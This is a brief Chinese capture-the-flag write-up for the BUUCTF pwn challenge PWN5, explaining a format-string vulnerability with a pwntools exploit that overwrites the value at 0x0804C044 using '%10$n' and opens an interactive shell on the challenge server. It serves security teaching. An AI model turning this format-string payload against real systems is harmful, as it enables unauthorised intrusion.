[BUUCTF-pwn]——[第五空间2019 决赛]PWN5

[BUUCTF-pwn]——[第五空间2019 决赛]PWN5

  • 题目地址:https://buuoj.cn/challenges#[第五空间2019%20决赛]PWN5
  • 题目:
    [BUUCTF-pwn]——[第五空间2019 决赛]PWN5_第1张图片
    这是一道格式化字符串的题,给大家讲解下

checksec一下看看, 开启了canary保护, 基本开启这个保护都会用到格式化字符串的漏洞。
[BUUCTF-pwn]——[第五空间2019 决赛]PWN5_第2张图片
在IDA中
[BUUCTF-pwn]——[第五空间2019 决赛]PWN5_第3张图片
在这里插入图片描述
利用pwndbg看看, 偏移是多少。 0xa也就是 10
[BUUCTF-pwn]——[第五空间2019 决赛]PWN5_第4张图片

思路

利用格式化字符串漏洞, 修改unk_804C044的值, 并且输入相等的值

exploit

from pwn import *
p=remote('node3.buuoj.cn',26506)

unk_804C044_addr=0x0804C044

payload=p32(unk_804C044_addr)+'%10$n'
p.sendline(payload)

p.sendline('4')
p.interactive()

你可能感兴趣的:(#,BUUCTF,#,格式化字符串)